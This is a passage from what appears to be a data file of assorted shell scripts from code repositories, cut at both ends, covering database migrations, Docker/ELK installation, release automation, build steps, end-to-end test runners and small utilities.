$0,\":\",\"A\"\n else if (average >= 60)\n print $0,\":\",\"B\"\n else if (average >= 50)\n print $0,\":\",\"C\"\n else\n print $0,\":\",\"FAIL\"\n}'"} {"text": "kiwih/go-iec61499-vhdl\n#!/bin/bash\n#save current working directory\nWD=$(pwd)\n#compile fbt to c\ncd ../../..\n./goFB -i=$WD/fbt -o=$WD/c -l=c -t=top -cvode\ncd $WD\n#compile\n#clang c/*.c -o top.out\ngcc -o0 -Wall c/*.c /home/hammond/cvode/inst/lib/libsundials_cvode.a /home/hammond/cvode/inst/lib/libsundials_nvecserial.a -I/home/hammond/cvode/inst/include -lm -o ha.out -Wfatal-errors\n#run\n#./top.out"} {"text": "#!/bin/bash -ev\nlb_params=\"--logLevel=info --databaseChangeLogTableName=ddm_db_changelog --databaseChangeLogLockTableName=ddm_db_changelog_lock\"\nreg_path=\"currentSchema=public,registry\"\n#Master platform\nliquibase --contexts=\"pub\" $lb_params --changeLogFile=changesets/postgres-changelog.xml \\\n --username=$DB_NAME --password=$DB_ --url=$masterDBurl/postgres update\nliquibase $lb_params --changeLogFile=changesets/audit-changelog.xml \\\n --username=$DB_NAME --password=$DB_ --url=$masterDBurl/audit update\nliquibase $lb_params --changeLogFile=changesets/settings-changelog.xml \\\n --username=$DB_NAME --password=$DB_ --url=$masterDBurl/settings update\nliquibase $lb_params --changeLogFile=changesets/excerpt-changelog.xml \\\n --username=$DB_NAME --password=$DB_ --url=$masterDBurl/excerpt update\nliquibase $lb_params --changeLogFile=changesets/process_history-changelog.xml \\\n --username=$DB_NAME --password=$DB_ --url=$masterDBurl/process_history update\n#Replica platform\nliquibase --contexts=\"sub\" $lb_params --changeLogFile=changesets/postgres-changelog.xml \\\n --username=$DB_NAME --password=$DB_ --url=$replicaDBurl/postgres update\n#All Master Workers Registry\ndeclare -a arrMaster=($masterWorkers)\nfor i in \"${arrMaster[@]}\"; do\n echo \"$i\"\n liquibase $lb_params --changeLogFile=changesets/worker-postgres-changelog.xml \\\n --username=$DB_NAME --password=$DB_ --url=$i/postgres update\n liquibase $lb_params --changeLogFile=changesets/worker-registry-changelog.xml \\\n --username=$DB_NAME --password=$ --url=$i/$dbName?$reg_path update\ndone\n#All Replica Workers Registry\ndeclare -a arrReplica=($replicaWorkers)\nfor i in \"${arrReplica[@]}\"; do\n echo \"$i\"\n liquibase $lb_params --changeLogFile=changesets/worker-postgres-changelog.xml \\\n --username=$DB_NAME --password=$ --url=$i/postgres update\n liquibase $lb_params --changeLogFile=changesets/worker-registry-changelog.xml \\\n --username=$DB_NAME --password=$ --url=$i/$dbName?$reg_path update\ndone\n#Master Registry\nliquibase --contexts=\"pub\" $lb_params --changeLogFile=changesets/registry-changelog.xml \\\n --username=$DB_NAME --password=$ --url=$masterDBurl/$dbName?$reg_path update\n#Replica Registry\nliquibase --contexts=\"sub\" $lb_params --changeLogFile=changesets/registry-changelog.xml \\\n --username=$DB_NAME --password=$ --url=$replicaDBurl/$dbName?$reg_path update"} {"text": "0\npython train.py --dir=points2plane/connect_ResConv --model=VGG16 --data_path=data --epochs=100 --curve=PolyChain --num_bends=3 --fix_start --fix_end --init_start=curves/curve/checkpoint-100.pt --init_end=curves/curve/checkpoint_rConve17-18-100.pt\n\npython plane.py --dir=plots/plot_connect_ResConv--data_path=data --model=VGG16 --curve=PolyChain --ckpt=points2plane/connect_ResConv/checkpoint-100.pt\n\npython plane_plot.py --dir=plots/plot_connect_ResConv"} {"text": "#!/bin/bash\nset -e\n\nproject=\"indra\"\ncwd=\"`pwd`\"\nuser=\"$1\"\nshift\nargs=\"$@\"\n\n#echo \"Starting payment bot with args: $args\"\n\nidentifier=1\nwhile [ \"$1\" != \"\" ]; do\n case $1 in\n -i | --identifier ) shift\n identifier=$1\n ;;\n esac\n shift\ndone\n\nif [[ \"$identifier\" == 1 ]]\nthen mnemonic=\"humble sense shrug young vehicle assault destroy cook property average silent travel\"\nelif [[ \"$identifier\" == 2 ]]\nthen mnemonic=\"roof traffic soul urge tenant credit protect conduct enable animal cinnamon adult\"\nfi\n\nexport STORE_DIR=\"${STORE_DIR:-/store/}\"\nexport ECCRYPTO_NO_FALLBACK=true\nexport ETH_RPC_URL=\"${ETH_RPC_URL:-http://172.17.0.1:8545}\"\nexport NODE_URL=\"${NODE_URL:-nats://172.17.0.1:4222}\"\nexport PISA_CONTRACT_ADDRESS=\"${PISA_CONTRACT_ADDRESS:-0x0000000000000000000000000000000000000000}\"\nexport PISA_URL=\"${PISA_URL:-http://172.17.0.1:5487}\"\nexport WEBDIS_URL=\"${REDIS_URL:-redis://172.17.0.1:6379}\"\nexport MNEMONIC=\"${MNEMONIC:-$mnemonic}\"\n\nbash /wait-for.sh ${ETH_RPC_URL#*://} 2> /dev/null\n\nnode --no-deprecation dist/index.js $args"} {"text": "AndrewDnvn/Geni\n#!/bin/bash\n\n# tested on Ubunutu 20.04: working 6/14/2021\n# tested on CentOs 7: working 6/09/2021\n# tested on CentOs 8: working 6/14/2021\n# installs ansible and the docker scripts\n# then brings up the full stack\n# fixning file line endings\n# added in colored output for ease of following sctipts\n#need to implement password I/O for the fabricadmin user\n\t#todo: https://www.elastic.co/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash\n#added https://github.com/elastic/ansible-beats \n\nred=`tput setaf 1`\ngreen=`tput setaf 2`\nblue=`tput setaf 4`\nreset=`tput sgr0`\n\n#usr_name is for the user on the system themselves for the docker containers\nusr_name=$1\n#^ this is done if the creator would like to have a diffrent user added to manage the docker containers.\n\n#This is to login into the elk stack \nusr_name_elk=$2\n# ^could be hard set to fabricadmin\npasswd_elk=$3\n\n#checking for Ubuntu\nif [ -n \"$(uname -a | grep Ubuntu)\" ]; then\n\n\techo \"${blue}Found Ubuntu.${reset}\"\n\t#https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html\n\t \n\tapt -y install software-properties-common\n\n\twait\n\n\tadd-apt-repository --yes --update ppa:ansible/ansible\n\n\twait\n\n\tapt -y install ansible\n\n\twait\n\n\techo \"${red}Ansible installed.${reset}\"\n\n\t#testing the install correctly\n\tansible --version\n\n\twait\n\n\techo \"${red}Installing git if not present.${reset}\"\n\n\tapt-get -y install git\n\n\twait\n\n\techo \"${red}Installing docker if not present.${reset}\"\n\n\t#installing over https for docker download\n \tapt-get -y install apt-transport-https ca-certificates curl gnupg lsb-release\n\n \t#adding key\n \t#https://docs.docker.com/engine/install/ubuntu/\n \tcurl -fsSL https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n\n \t#setting repo\n\n\techo \"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\" | tee /etc/apt/sources.list.d/docker.list > /dev/null\n \t\n \tapt -y install docker-ce docker-ce-cli containerd.io \n\n \tapt -y install docker.io\n\n \techo \"${red}Testing docker.${reset}\"\n\n \tdocker run hello-world\n\n\techo \"${red}Pulling Elk-Docker scripts from github.${reset}\"\n\n\tcurl -L \"https://github.com/docker/compose/releases/download/1.25.5/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\n\n\tchmod +x /usr/local/bin/docker-compose\n\n\twait\n\n\tgit clone https://github.com/fabric-testbed/fabric-docker-images.git /usr/local/bin/fabric_base/\n\n\twait\n\n\tsysctl -w vm.max_map_count=262144 \n\n\tapt-get -y install apache2-utils\n\n\techo \"${green}Checking docker-compose version / working.${reset}\"\n\n\t/usr/local/bin/docker-compose --version\n\n\t/usr/local/bin/fabric_base/elk/setfolders.sh\n\n\techo \"${red}Set folders.${reset}\"\n\n\t# echo \"${red}Creating Prometheus directories and files.${reset}\"\n\t# mkdir /usr/local/bin/etc\n\t# adding user to docker group to man\n\t#this is a poor implementation\n\t#still issues here with the correct settingsage\n\tusermod -aG docker $usr_name\n\n\thtpasswd -b -c /usr/local/bin/fabric_base/elk/nginx/etc/.htpasswd.user $usr_name_elk $passwd_elk\n\n\twait\n\n\t#bringing up the elk stack fully\n\techo \"${red}Installing ansible-galaxy to build beats.${reset}\"\n\n\t# this will bring in the most recent version\n\t# this is used to make the end can run scripts beyond this\n\tansible-galaxy install elastic.beats\n\n\tansible-galaxy init elastic.beats\n\n\twait\n\n\techo \"${red}Installed all needed tools. Brining up elk.${reset}\"\n\n\t/usr/local/bin/docker-compose -f /usr/local/bin/fabric_base/elk/docker-compose.yml --env-file /usr/local/bin/fabric_base/elk/.env up\n\n\t# could be changed to only bring up parts of the stack\n\n\t#fin\n\t\nelse\n\t#working\n\t#script designd for CentOs\n\techo \"${blue}Found CentOs.${reset}\"\n\n\tyum -y install epel-release gcc openssl-devel bzip2-devel libffi-devel centos-release-scl\n\n\twait\n\n\techo \"${red}Python installed.${reset}\"\n\n\tyum -y install rh-python36\n\n\n\tyum -y groupinstall 'Development Tools'\n\n\twait\n\n\tyum -y install ansible\n\n\twait\n\n\t#issue\n\t#https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html\n\t#only needed for ansible engine\n\t#subscription-manager repos --enable ansible-2.9-for-rhel-8-x86_64-rpms\n\twait\n\n\techo \"${red}Ansible installed.${reset}\"\n\n\t#testing the install correctly\n\tansible --version\n\n\twait\n\n\techo \"${red}Installing docker.${reset}\"\n\n\tyum -y install -y yum-utils\n\n\twait\n\n\tyum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo\n\n\twait\n\n\tyum -y install docker-ce docker-ce-cli containerd.io\n\n\twait\n\n\techo \"${red}Testing docker.${reset}\"\n\n \tsystemctl start docker\n\n \tdocker run hello-world\n\n\twait\n\n\techo \"${red}Installing git if not present.${reset}\"\n\n\tyum -y install git\n\t\n\twait\n\n\techo \"${red}Pulling Elk-Docker scripts from github.${reset}\"\n\n\tcurl -L \"https://github.com/docker/compose/releases/download/1.25.5/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\n\n\tchmod +x /usr/local/bin/docker-compose\n\n\twait\n\n\tgit clone https://github.com/fabric-testbed/fabric-docker-images.git /usr/local/bin/fabric_base/\n\n\twait\n\n\tsysctl -w vm.max_map_count=262144 \n\n\tyum -y install -y httpd-tools\n\n\techo \"${green}Checking docker-compose version / working.${reset}\"\n\n\t/usr/local/bin/docker-compose --version\n\n\n\t/usr/local/bin/fabric_base/elk/setfolders.sh\n\n\techo \"${red}Set folders.${reset}\"\n\n\tusermod -aG docker $usr_name\n\n\t#setting up user and password from command line\n\t#still issues here with the correct settings\n\thtpasswd -b -c /usr/local/bin/fabric_base/elk/nginx/etc/.htpasswd.user $usr_name_elk $passwd_elk\n\n\twait\n\n\techo \"${red}Installing ansible-galaxy to build beats.${reset}\"\n\t# this will bring in the most recent version\n\tansible-galaxy install elastic.beats\n\t\n\tansible-galaxy init elastic.beats\n\n\twait\n\n\techo \"${red}Installed all needed tools. Brining up elk.${reset}\"\n\n\t/usr/local/bin/docker-compose -f /usr/local/bin/fabric_base/elk/docker-compose.yml --env-file /usr/local/bin/fabric_base/elk/.env up\n\n\t# could be changed to only bring up parts of the stack\n\n\t#fin\nfi"} {"text": "#!/bin/bash\n# pmc\n# 2019-03-25\n# regex in bash\n# scripts from the regex-bash lecture\n# if [[ arg =~ pattern ]] \nstr=\"the year is 2019\"\necho string: $str\n\nif [[ \"$str\" =~ 201[^0-7] ]] ; then\n echo $str match '201[^0-7]' \nelse\n echo $str no match '201[^0-7]'\nfi\n\nstr=\"the year is 2017\"\necho string: $str\n\nif [[ \"$str\" =~ 201[^0-7] ]] ; then\n echo $str match '201[^0-7]' \nelse\n echo $str no match '201[^0-7]'\nfi\n\nstr=\"the year is 2013\"\necho string: $str\n\nif [[ \"$str\" =~ 201[^0-7] ]] ; then\n echo $str match '201[^0-7]' \nelse\n echo $str no match '201[^0-7]'\nfi"} {"text": "0\n\n#!/bin/sh\n\npid=`ps auxf | grep '\\./floodproxy' | grep -v 'grep' | grep -v 'floodproxy' | awk '{print $2}'`\n\nkill $pid"} {"text": "xos/synchronizers/vtr/run.sh0\nexport XOS_DIR=/opt/xos\npython vtr-synchronizer.py -C $XOS_DIR/synchronizers/vtr/vtr_synchronizer_config"} {"text": "docs/build.sh0\n# Simple shell script to build docs\n\necho \"Run Doxyfile\"\n/usr/bin/doxygen Doxyfile\n\necho \"run Doxyphp2sphinx\"\n/usr/local/bin/doxyphp2sphinx Ouxsoft::PHPMarkup\n\necho \"Complete\""} {"text": "test/request.sh\n#!bin/bash\ncurl\t-H \"Content-Type: text/xml;charset=UTF-8\" -H \"parseText_TXT\" --data-binary @../frame/postTaggerFrame.xml -X POST http://nlptools.infoiasi.ro:80/WebPosRo/PosTaggerRoWS"} {"text": "sub_run_all () {\n\t#echo \"sub_run_all\"\n\tall_install \"$@\"\n}"} {"text": "(head -n $(read -d : <<< $(less README.rst | grep \".. BEGIN USAGE\" -n); expr $REPLY + 1) README.rst; \\\nprintf \".. code-block:: shell\\n\\n cpac --help\\n\"; \\\ncpac --help | sed 's/^/ /'; \\\ntail --lines=+$(read -d : <<< $(less README.rst | grep \".. END USAGE\" -n); expr $REPLY - 1) README.rst\\\n) > tempREADME &&\nmv tempREADME README.rst &\nwait %1\n\nif [[ $(git diff --numstat README.rst) ]]; then\n OLD_ORIGIN=$(git remote get-url origin)\n git remote set-url origin $\"https://${GITHUB_USERNAME}:${GITHUB_PUSH_TOKEN}@github.com/\"${OLD_ORIGIN:19}\n git add README.rst\n git commit -m \":books: Update usage from helpstring\" -m \"[skip travis]\"\n git push origin HEAD:$TRAVIS_BRANCH\nfi\n\nexit 0"} {"text": "0\n#!/bin/bash\n\n# This is the crappy script i use for version changes\n# Usage release.sh ($NEW_VERSION)\n# It does the following\n# ask new version if not specified on command line\n# check if there's a changelog for this version in the wiki\n# change version in relevant files(wiki home, setup.py, kvirt/config.py and extra/kcli.spec)\n# commit and push code\n# generate python package\n# generate release without the changelog :( and using RELEASETOKEN env variable\n# launch build of rpm and deb packages (using kcli product)\n# displays the changelog so it can be added manually\n\nBASEDIR=\"$HOME/CODE/git/KARIM\"\nUSER=\"karmab\"\nREPOSITORY=\"kcli\"\nREPOSITORYWIKI=\"${REPOSITORY}.wiki\"\nOLDVERSION=`grep Version ~/kcli.spec | awk -F':' '{print $2}' | xargs`\n\nif [ \"$#\" != \"1\" ] ; then\n echo \"Current Version: $OLDVERSION Enter New One\"\n read VERSION\nelse \n VERSION=$1\nfi\n\nif [ \"$VERSION\" == \"\" ] ; then\n echo \"wrong VERSION. Leaving...\"\n exit 1\nfi\n\ncd ${BASEDIR}/${REPOSITORYWIKI}\necho ${BASEDIR}/${REPOSITORYWIKI}/${VERSION}.md\nls ${VERSION}.md\nif [ \"$?\" != \"0\" ] ; then\n echo \"Missing changelog file in wiki for version $VERSION. Leaving...\"\n exit 1\nfi\n\n# SET NEW VERSION\n#sed -i s\"@tags/.*@tags/$VERSION@\" home.md\nsed -i s\"@wiki.*@wiki/$VERSION)@\" home.md\ngit commit -am \"$VERSION RELEASE\"\ngit push\n\ncd ${BASEDIR}/${REPOSITORY}\n# SET NEW VERSIONS\nsed -i s\"/ version.*/ version='$VERSION',/\" setup.py\nsed -i \"s/Version:.*/Version: $VERSION/\" ~/kcli.spec\nsed -i s\"/__version__.*/__version__ = '$VERSION'/\" kvirt/config.py\n\n# PUSH CODE \ngit commit -am \"$VERSION RELEASE\"\ngit push\n\n# GENERATE PYTHON PACKAGE\npython setup.py sdist upload\n\n# GENERATE RELEASE\nAPI_JSON=$(printf '{\"tag_name\": \"v%s\",\"target_commitish\": \"master\",\"name\": \"v%s\",\"body\": \"[release notes](https://github.com/karmab/kcli/wiki)\",\"draft\": false,\"prerelease\": false}' ${VERSION} ${VERSION})\ncurl --data \"$API_JSON\" https://api.github.com/repos/${USER}/${REPOSITORY}/releases?access_token=${RELEASETOKEN}\n\n# GENERATE RPM/DEB\nkcli delete --yes copr\nkcli product copr"} {"text": "mvn clean package -Pattach-test-resources,oozie,deploy -Dworkflow.source.dir=eu/dnetlib/iis/core/examples/javamapreduce/reverse_relation"} {"text": "0\n#!/bin/sh\n\nset -eu\n\nif [ \"$#\" -gt 1 ]; then\n echo \"usage: $0 []\"\n exit 1\nfi\n\nif [ \"$#\" -eq 0 ]; then\n YEAR=\"$(date +%Y)\"\nelse\n YEAR=\"$1\"\nfi\n\nSRC=\"years/y$YEAR/src\"\n\ncd \"$(dirname \"$0\")\"\ncd ..\n\nmkdir -p \"years/y$YEAR/src\"\n\necho '#![deny(rust_2018_idioms)]' > \"years/y$YEAR/src/lib.rs\"\n# extra blank line\necho > \"years/y$YEAR/src/lib.rs\"\n\ncat < \"years/y$YEAR/Cargo.toml\"\n[package]\nname = \"y$YEAR\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[lib]\ndoctest = false\n\n[dependencies]\nhelpers = { path = \"../../helpers\" }\nEOF"} {"text": "#!/bin/bash\n\ngets() {\n if [ ! -z \"$2\" ]; then\n port=$2\n else\n port=443\n fi\n echo QUIT | openssl s_client -connect 127.0.0.1:${2} -servername ${1} -tls1_2 -cipher ECDH -status > /dev/null 2>&1\n echo QUIT | openssl s_client -connect 127.0.0.1:${2} -servername ${1} -tls1_2 -cipher aRSA:RSA -status > /dev/null 2>&1\n}\n\nfile=`find /etc/nginx -name \"*.conf\"`\n\nfor names in $file; do\n # csplit source : https://stackoverflow.com/questions/9634953/how-to-split-a-nginx-virtual-host-config-file-into-small-ones-using-shell/38635284\n rm /tmp/ngx_ocsp*.tmp > /dev/null 2>&1\n csplit -z -f /tmp/ngx_ocsp -b %d.tmp $names '/^\\s*server\\s*{*$/' {*} > /dev/null 2>&1\n\n for i in /tmp/ngx_ocsp*.tmp; do\n result=`grep -oP '(?<=server_name ).+(?=;)' $i`\n if [ ! -z \"$result\" ]; then\n port=`grep -oP '(?<=listen ).+(?=ssl).+(?=;)' $i`\n new_name=`echo $result|awk '{print $1}'`\n new_name=${new_name%';'}\n port=`echo $port|sed 's/[^0-9]/ /g'|awk '{print $1}'`\n port=${port%';'}\n if [ ! -z \"$port\" ]; then\n hosts=(${hosts[@]} $new_name:$port)\n fi\n fi\n done\ndone\n\nrm /rmp/ocsp*.tmp > /dev/null 2>&1\n\nFINALS=`echo ${hosts[@]} | tr \" \" \"\\n\" | sed -e \"s/^*//g\" | sed -e \"s/*/wildcards/g\" | sort -u`\n\nfor conn in $FINALS; do\n data1=`echo $conn | awk -F: '{print $1}'`\n data2=`echo $conn | awk -F: '{print $2}'`\n echo OCSP : $data1 - $data2\n gets $data1 $data2\ndone"} {"text": "#!/bin/sh\n# Intended for scratchbox Linux build environment (32-bit Ubuntu 10.10 tested)\n# http://wiki.maemo.org/Documentation/Maemo_5_Final_SDK_Installation\n\nmake -f simd_make_arm.mk clean_n900\n\n\nmake -f core_make_arm.mk clean_n900\n\n\n# RooT demo compilation requires Xext development library in addition to g++\n\ncd ../root\n\nmake -f RooT_make_arm.mk clean_n900\n\ncd ../test"} {"text": "0\n#!/usr/bin/env sh\n# wgets MathJax to the correct path\n# not really tested\n\nwget http://sourceforge.net/projects/mathjax/files/MathJax/v1.0.1/MathJax-v1.0.1a.zip/download &&\nunzip MathJax-v1.0.1a.zip &&\nmv MathJax/* mathjax-1.0.1 &&\nrm MathJax-v1.0.1a.zip &&\nrm -rf MathJax"} {"text": "#!/bin/bash\n\n# This script builds and uses a docker container to produce official artifacts\n\nset -e\nset -x\n\nCURDIR=\"$(dirname $BASH_SOURCE)\"\n\n# Making changes to user docker volume as workspace\n#mkdir -p _docker_workspace\ndocker volume create workspace_vol\nWORKSPACE=/build/src/github.com/F5Networks/\n# adding logic for copying the code repository to newly created volume\ndocker run -v workspace_vol:/build --rm -d alpine mkdir -p $WORKSPACE\n# Removing cp-temp container if already exist\nif docker ps -a | grep cp-temp ; then docker rm -f cp-temp ; fi\ndocker run -v workspace_vol:/build -d --name cp-temp alpine tail -f /dev/null\n# copying CIS code to volume\ndocker cp $CURDIR/../../k8s-bigip-ctlr cp-temp:$WORKSPACE\n#Removing the temporory container\ndocker rm -f cp-temp\n\n. $CURDIR/_build-lib.sh\n\n# Build artifacts using the build image\n$CURDIR/run-in-docker.sh ./build-tools/rel-build.sh\n\nif $CLEAN_BUILD; then\n docker rmi $BUILD_IMG_TAG\nfi\n\n# Now ready to run ./build-release-images.sh"} {"text": "DennisPattmann5012/hydra0\n#!/bin/bash\n\nset -euxo pipefail\n\ncd \"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\n\nfunction catch {\n cat ./oauth2-client.e2e.log || true\n cat ./login-consent-logout.e2e.log || true\n cat ./hydra.e2e.log || true\n}\ntrap catch ERR\n\nkillall hydra || true\nkillall node || true\n\n# Check if any ports that we need are open already\n! nc -zv 127.0.0.1 5000\n! nc -zv 127.0.0.1 5001\n! nc -zv 127.0.0.1 5002\n! nc -zv 127.0.0.1 5003\n\n# Install ORY Hydra\nexport GO111MODULE=on\nif [[ ! -d \"../../node_modules/\" ]]; then\n (cd ../..; npm ci)\nfi\n(cd ../../; go build -tags sqlite -o test/e2e/hydra . )\n\n# Install oauth2-client\nif [[ ! -d \"./oauth2-client/node_modules/\" ]]; then\n (cd oauth2-client; npm ci)\nfi\n(cd oauth2-client; ADMIN_URL=http://127.0.0.1:5001 PUBLIC_URL=http://127.0.0.1:5000 PORT=5003 npm run start > ../oauth2-client.e2e.log 2>&1 &)\n\n# Install consent app\n(cd oauth2-client; PORT=5002 HYDRA_ADMIN_URL=http://127.0.0.1:5001 npm run consent > ../login-consent-logout.e2e.log 2>&1 &)\n\nexport URLS_SELF_ISSUER=http://127.0.0.1:5000\nexport URLS_CONSENT=http://127.0.0.1:5002/consent\nexport URLS_LOGIN=http://127.0.0.1:5002/login\nexport URLS_LOGOUT=http://127.0.0.1:5002/logout\nexport SECRETS_SYSTEM=youReallyNeedToChangeThis\nexport OIDC_SUBJECT_IDENTIFIERS_SUPPORTED_TYPES=public,pairwise\nexport OIDC_SUBJECT_IDENTIFIERS_PAIRWISE_SALT=youReallyNeedToChangeThis\nexport SERVE_PUBLIC_CORS_ENABLED=true\nexport SERVE_PUBLIC_CORS_ALLOWED_METHODS=POST,GET,PUT,DELETE\nexport SERVE_ADMIN_CORS_ENABLED=true\nexport SERVE_ADMIN_CORS_ALLOWED_METHODS=POST,GET,PUT,DELETE\nexport LOG_LEVEL=trace\nexport LOG_FORMAT=json\nexport OAUTH2_EXPOSE_INTERNAL_ERRORS=1\nexport SERVE_PUBLIC_PORT=5000\nexport SERVE_ADMIN_PORT=5001\nexport LOG_LEAK_SENSITIVE_VALUES=true\nexport TEST_DATABASE_SQLITE=\"sqlite://$(mktemp -d -t ci-XXXXXXXXXX)/e2e.sqlite?_fk=true\"\n\nWATCH=no\n\nfor i in \"$@\"\ndo\ncase $i in\n --watch)\n WATCH=yes\n shift # past argument=value\n ;;\n --record)\n RECORD=yes\n shift # past argument=value\n ;;\n *)\n\n case \"$i\" in\n memory)\n ./hydra migrate sql --yes $TEST_DATABASE_SQLITE > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_SQLITE \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=false\n ;;\n\n memory-jwt)\n ./hydra migrate sql --yes $TEST_DATABASE_SQLITE > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_SQLITE \\\n STRATEGIES_ACCESS_TOKEN=jwt \\\n OIDC_SUBJECT_IDENTIFIERS_SUPPORTED_TYPES=public \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=true\n ;;\n\n postgres)\n ./hydra migrate sql --yes $TEST_DATABASE_POSTGRESQL > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_POSTGRESQL \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=false\n ;;\n\n postgres-jwt)\n ./hydra migrate sql --yes $TEST_DATABASE_POSTGRESQL > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_POSTGRESQL \\\n STRATEGIES_ACCESS_TOKEN=jwt \\\n OIDC_SUBJECT_IDENTIFIERS_SUPPORTED_TYPES=public \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=true\n ;;\n\n mysql)\n ./hydra migrate sql --yes $TEST_DATABASE_MYSQL > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_MYSQL \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=false\n ;;\n\n mysql-jwt)\n ./hydra migrate sql --yes $TEST_DATABASE_MYSQL > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_MYSQL \\\n STRATEGIES_ACCESS_TOKEN=jwt \\\n OIDC_SUBJECT_IDENTIFIERS_SUPPORTED_TYPES=public \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=true\n ;;\n\n cockroach)\n ./hydra migrate sql --yes $TEST_DATABASE_COCKROACHDB > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_COCKROACHDB \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=false\n ;;\n\n cockroach-jwt)\n ./hydra migrate sql --yes $TEST_DATABASE_COCKROACHDB > ./hydra-migrate.e2e.log 2>&1\n DSN=$TEST_DATABASE_COCKROACHDB \\\n STRATEGIES_ACCESS_TOKEN=jwt \\\n OIDC_SUBJECT_IDENTIFIERS_SUPPORTED_TYPES=public \\\n ./hydra serve all --dangerous-force-http --sqa-opt-out > ./hydra.e2e.log 2>&1 &\n export CYPRESS_jwt_enabled=true\n ;;\n\n *)\n echo $\"Usage: $0 {memory|postgres|mysql|cockroach|memory-jwt|postgres-jwt|mysql-jwt|cockroach-jwt} [--watch]\"\n exit 1\n esac\n ;;\nesac\ndone\n\nnpm run wait-on -- -l -t 300000 \\\n --interval 1000 -s 1 -d 1000 \\\n http-get://localhost:5000/health/ready http-get://localhost:5001/health/ready http-get://localhost:5002/ http-get://localhost:5003/oauth2/callback\n\nif [[ $WATCH = \"yes\" ]]; then\n (cd ../..; npm run test:watch)\nelse\n if [[ $RECORD = \"yes\" ]]; then\n (cd ../..; npm run test -- --record )\n fi\nfi\n\nkill %1 || true # This is oauth2-client\nkill %2 || true # This is the login-consent-logout\nkill %3 || true # This is the hydra\n\nrm ./oauth2-client.e2e.log\nrm ./login-consent-logout.e2e.log\nrm ./hydra.e2e.log\n\nexit 0"} {"text": "#!/bin/bash\n#\n# Synopsis: ./single_isa.sh APP\n#\n# Return Value:\n# 0 ... test ok\n# 1 ... test failed\n\nLOG_DIR=\"tmp\"\nTEST=\"${1}\"\n\nmkdir -p \"${LOG_DIR}\"/`dirname ${TEST}`\necho \"${TEST}\"\n\n# run chisel\nmake hwsim BOOTAPP=\"${TEST}\" 1> \"${LOG_DIR}/${TEST}.emu.out\" 2> \"${LOG_DIR}/${TEST}.emu.err\"\necho \"EXIT $?\" >> \"${LOG_DIR}/${TEST}.emu.out\"\n\n# run ISA simulator\nmake isasim BOOTAPP=\"${TEST}\" 1> \"${LOG_DIR}/${TEST}.sim.out\" 2> \"${LOG_DIR}/${TEST}.sim.err\"\necho \"EXIT $?\" >> \"${LOG_DIR}/${TEST}.sim.out\"\n\n# compare output\njava -cp install/lib/java/patmos-tools.jar util.CompareScala \"${LOG_DIR}/${TEST}.sim.out\" \"${LOG_DIR}/${TEST}.emu.out\" | \\\n tee \"${LOG_DIR}/${TEST}.comptest.out\" | sed -e 's/^\\(\\S\\)/ \\1/'\n\n# report failure or ok\nif (grep '^[ ]*ok[ ]*$' \"${LOG_DIR}/${TEST}.comptest.out\" >/dev/null) ; then\n exit 0\nelse\n echo \" failed\"\n exit 1\nfi"} {"text": "#!/bin/sh\necho\ncd metatonic-core\necho -- Starting build metatonic-core --\ntsc\ntestresult=$?\nif [ $testresult -ne 0 ]\nthen\n echo test failed\n exit $testresult\nfi\necho\ncd ..\n\ncd metatonic-react\necho -- Starting build metatonic-react --\ntsc\ntestresult=$?\nif [ $testresult -ne 0 ]\nthen\n echo test failed\n exit $testresult\nfi\ncd ..\necho\n\ncd metatonic-redux\necho -- Starting build metatonic-redux --\ntsc\ntestresult=$?\nif [ $testresult -ne 0 ]\nthen\n echo test failed\n exit $testresult\nfi\ncd ..\necho\n\n\ncd metatonic-react-redux\necho -- Starting build metatonic-react-redux --\ntsc\ntestresult=$?\nif [ $testresult -ne 0 ]\nthen\n echo test failed\n exit $testresult\nfi\ncd ..\necho\n\n\ncd metatonic-theme\necho -- Starting build metatonic-themes --\nnpm run sass\ntestresult=$?\nif [ $testresult -ne 0 ]\nthen\n echo test failed\n exit $testresult\nfi\ncd ..\necho\n\necho\necho -- Metatonic Build Complete --"} {"text": "#!/bin/bash\n\n# move all files to outdir and link into it by bin executor\nmkdir -p $PREFIX/bin\nmkdir -p $PREFIX/share/polystest\n# substituting paths for testing \ncp run_app_conda.R run_polystest_app.R\nsed -i'.orig' \"s=HelperFuncs.R=../share/polystest/HelperFuncs.R=\" runPolySTestCLI.R\nsed -i'.orig' \"s=rankprodbounds.R=../share/polystest/rankprodbounds.R=\" HelperFuncs.R\n\n# copying files\ncp *.R $PREFIX/share/polystest/\ncp 